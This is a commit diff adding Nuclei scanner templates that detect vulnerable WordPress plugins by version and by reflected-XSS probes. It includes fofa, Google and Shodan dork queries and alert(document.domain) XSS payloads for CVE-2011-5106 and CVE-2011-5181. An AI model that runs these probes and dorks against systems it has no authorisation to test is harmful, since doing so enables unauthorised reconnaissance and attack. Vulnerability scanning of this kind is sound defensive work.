20241122

adysec · Nov 22, 2024 · 2e74ff4 · 2e74ff4
1 parent b8f1af3
commit 2e74ff4
Show file tree

Hide file tree

Showing 296 changed files with 16,724 additions and 1 deletion.
diff --git a/date.txt b/date.txt
@@ -1 +1 @@
-20241121
+20241122
diff --git a/poc.txt b/poc.txt
diff --git a/poc/auth/exclusive-content-password-protect-9ac3d49f5cfe60448fe4ebdf05654464.yaml b/poc/auth/exclusive-content-password-protect-9ac3d49f5cfe60448fe4ebdf05654464.yaml
@@ -0,0 +1,59 @@
+id: exclusive-content-password-protect-9ac3d49f5cfe60448fe4ebdf05654464
+
+info:
+  name: >
+    Exclusive Content Password Protect <= 1.1.0 - Cross-Site Request Forgery to Arbitrary File Upload
+  author: topscoder
+  severity: medium
+  description: >
+    
+  reference:
+    - https://github.com/topscoder/nuclei-wordfence-cve
+    - https://www.wordfence.com/threat-intel/vulnerabilities/id/88c496df-a5c0-4ac9-8fc1-37fcddfa13d3?source=api-scan
+  classification:
+    cvss-metrics: 
+    cvss-score: 
+    cve-id: 
+  metadata:
+    fofa-query: "wp-content/plugins/exclusive-content-password-protect/"
+    google-query: inurl:"/wp-content/plugins/exclusive-content-password-protect/"
+    shodan-query: 'vuln:'
+  tags: cve,wordpress,wp-plugin,exclusive-content-password-protect,medium
+
+http:
+  - method: GET
+    redirects: true
+    max-redirects: 3
+    path:
+      - "{{BaseURL}}/wp-content/plugins/exclusive-content-password-protect/readme.txt"
+
+    extractors:
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        internal: true
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "exclusive-content-password-protect"
+        part: body
+
+      - type: dsl
+        dsl:
+          - compare_versions(version, '<= 1.1.0')
diff --git a/poc/auth/pie-register-premium-122e8fbc530202e3720d6c26d0cd0b46.yaml b/poc/auth/pie-register-premium-122e8fbc530202e3720d6c26d0cd0b46.yaml
@@ -0,0 +1,59 @@
+id: pie-register-premium-122e8fbc530202e3720d6c26d0cd0b46
+
+info:
+  name: >
+    Pie Register Premium < 3.8.3.3 - Missing Authorization
+  author: topscoder
+  severity: high
+  description: >
+    
+  reference:
+    - https://github.com/topscoder/nuclei-wordfence-cve
+    - https://www.wordfence.com/threat-intel/vulnerabilities/id/fa781206-57d7-47d4-9cd8-20ae38eeef83?source=api-scan
+  classification:
+    cvss-metrics: 
+    cvss-score: 
+    cve-id: 
+  metadata:
+    fofa-query: "wp-content/plugins/pie-register-premium/"
+    google-query: inurl:"/wp-content/plugins/pie-register-premium/"
+    shodan-query: 'vuln:'
+  tags: cve,wordpress,wp-plugin,pie-register-premium,high
+
+http:
+  - method: GET
+    redirects: true
+    max-redirects: 3
+    path:
+      - "{{BaseURL}}/wp-content/plugins/pie-register-premium/readme.txt"
+
+    extractors:
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        internal: true
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "pie-register-premium"
+        part: body
+
+      - type: dsl
+        dsl:
+          - compare_versions(version, '< 3.8.3.3')
diff --git a/poc/auth/wp-login-customizer-2c1fc56f1381471ac092439d61de4644.yaml b/poc/auth/wp-login-customizer-2c1fc56f1381471ac092439d61de4644.yaml
@@ -0,0 +1,59 @@
+id: wp-login-customizer-2c1fc56f1381471ac092439d61de4644
+
+info:
+  name: >
+    wp-login customizer <= 1.0 - Cross-Site Request Forgery to Stored Cross-Site Scripting
+  author: topscoder
+  severity: medium
+  description: >
+    
+  reference:
+    - https://github.com/topscoder/nuclei-wordfence-cve
+    - https://www.wordfence.com/threat-intel/vulnerabilities/id/b9a73bcf-cd20-4081-83d4-4bcfe0482f59?source=api-scan
+  classification:
+    cvss-metrics: 
+    cvss-score: 
+    cve-id: 
+  metadata:
+    fofa-query: "wp-content/plugins/wp-login-customizer/"
+    google-query: inurl:"/wp-content/plugins/wp-login-customizer/"
+    shodan-query: 'vuln:'
+  tags: cve,wordpress,wp-plugin,wp-login-customizer,medium
+
+http:
+  - method: GET
+    redirects: true
+    max-redirects: 3
+    path:
+      - "{{BaseURL}}/wp-content/plugins/wp-login-customizer/readme.txt"
+
+    extractors:
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        internal: true
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "wp-login-customizer"
+        part: body
+
+      - type: dsl
+        dsl:
+          - compare_versions(version, '<= 1.0')
diff --git a/poc/backup/cyan-backup-5f340806b51549a3ad44f32161c24820.yaml b/poc/backup/cyan-backup-5f340806b51549a3ad44f32161c24820.yaml
@@ -0,0 +1,59 @@
+id: cyan-backup-5f340806b51549a3ad44f32161c24820
+
+info:
+  name: >
+    CYAN Backup <= 2.5.3 - Authenticated (Admin+) Arbitrary File Download
+  author: topscoder
+  severity: low
+  description: >
+    
+  reference:
+    - https://github.com/topscoder/nuclei-wordfence-cve
+    - https://www.wordfence.com/threat-intel/vulnerabilities/id/77c125fd-a954-4523-b415-21bf9e835452?source=api-scan
+  classification:
+    cvss-metrics: 
+    cvss-score: 
+    cve-id: 
+  metadata:
+    fofa-query: "wp-content/plugins/cyan-backup/"
+    google-query: inurl:"/wp-content/plugins/cyan-backup/"
+    shodan-query: 'vuln:'
+  tags: cve,wordpress,wp-plugin,cyan-backup,low
+
+http:
+  - method: GET
+    redirects: true
+    max-redirects: 3
+    path:
+      - "{{BaseURL}}/wp-content/plugins/cyan-backup/readme.txt"
+
+    extractors:
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        internal: true
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "cyan-backup"
+        part: body
+
+      - type: dsl
+        dsl:
+          - compare_versions(version, '<= 2.5.3')
diff --git a/poc/backup/sk-wp-settings-backup-d5557115a8d08ca64c0bdf67c39255ce.yaml b/poc/backup/sk-wp-settings-backup-d5557115a8d08ca64c0bdf67c39255ce.yaml
@@ -0,0 +1,59 @@
+id: sk-wp-settings-backup-d5557115a8d08ca64c0bdf67c39255ce
+
+info:
+  name: >
+    SK WP Settings Backup <= 1.0 - Cross-Site Request Forgery to PHP Object Injection
+  author: topscoder
+  severity: medium
+  description: >
+    
+  reference:
+    - https://github.com/topscoder/nuclei-wordfence-cve
+    - https://www.wordfence.com/threat-intel/vulnerabilities/id/51fe2379-e5c6-4cd0-b7d1-b03105403b97?source=api-scan
+  classification:
+    cvss-metrics: 
+    cvss-score: 
+    cve-id: 
+  metadata:
+    fofa-query: "wp-content/plugins/sk-wp-settings-backup/"
+    google-query: inurl:"/wp-content/plugins/sk-wp-settings-backup/"
+    shodan-query: 'vuln:'
+  tags: cve,wordpress,wp-plugin,sk-wp-settings-backup,medium
+
+http:
+  - method: GET
+    redirects: true
+    max-redirects: 3
+    path:
+      - "{{BaseURL}}/wp-content/plugins/sk-wp-settings-backup/readme.txt"
+
+    extractors:
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        internal: true
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "sk-wp-settings-backup"
+        part: body
+
+      - type: dsl
+        dsl:
+          - compare_versions(version, '<= 1.0')
diff --git a/poc/cve/CVE-2011-5106-2093.yaml b/poc/cve/CVE-2011-5106-2093.yaml
@@ -0,0 +1,35 @@
+id: CVE-2011-5106
+info:
+  name: WordPress Plugin Flexible Custom Post Type < 0.1.7 - Reflected Cross-Site Scripting
+  author: daffainfo
+  severity: medium
+  description: A cross-site scripting vulnerability in edit-post.php in the Flexible Custom Post Type plugin before 0.1.7 for WordPress allows remote attackers to inject arbitrary web script or HTML via the id parameter.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-5106
+    - https://wordpress.org/plugins/flexible-custom-post-type/#developers
+    - http://plugins.trac.wordpress.org/changeset?reponame=&new=466252%40flexible-custom-post-type&old=465583%40flexible-custom-post-type
+    - http://wordpress.org/extend/plugins/flexible-custom-post-type/changelog/
+  classification:
+    cve-id: CVE-2011-5106
+  metadata:
+    google-query: inurl:"/wp-content/plugins/flexible-custom-post-type/"
+  tags: cve,cve2011,wordpress,xss,wp-plugin
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/flexible-custom-post-type/edit-post.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+      - type: word
+        part: header
+        words:
+          - text/html
+      - type: status
+        status:
+          - 200
+
+# Enhanced by mp on 2022/02/21
diff --git a/poc/cve/CVE-2011-5181-2116.yaml b/poc/cve/CVE-2011-5181-2116.yaml
@@ -0,0 +1,30 @@
+id: CVE-2011-5181
+
+info:
+  name: ClickDesk Live Support Live Chat 2.0 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in clickdesk.php in ClickDesk Live Support - Live Chat plugin 2.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the cdwidgetid parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2011-5181
+
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200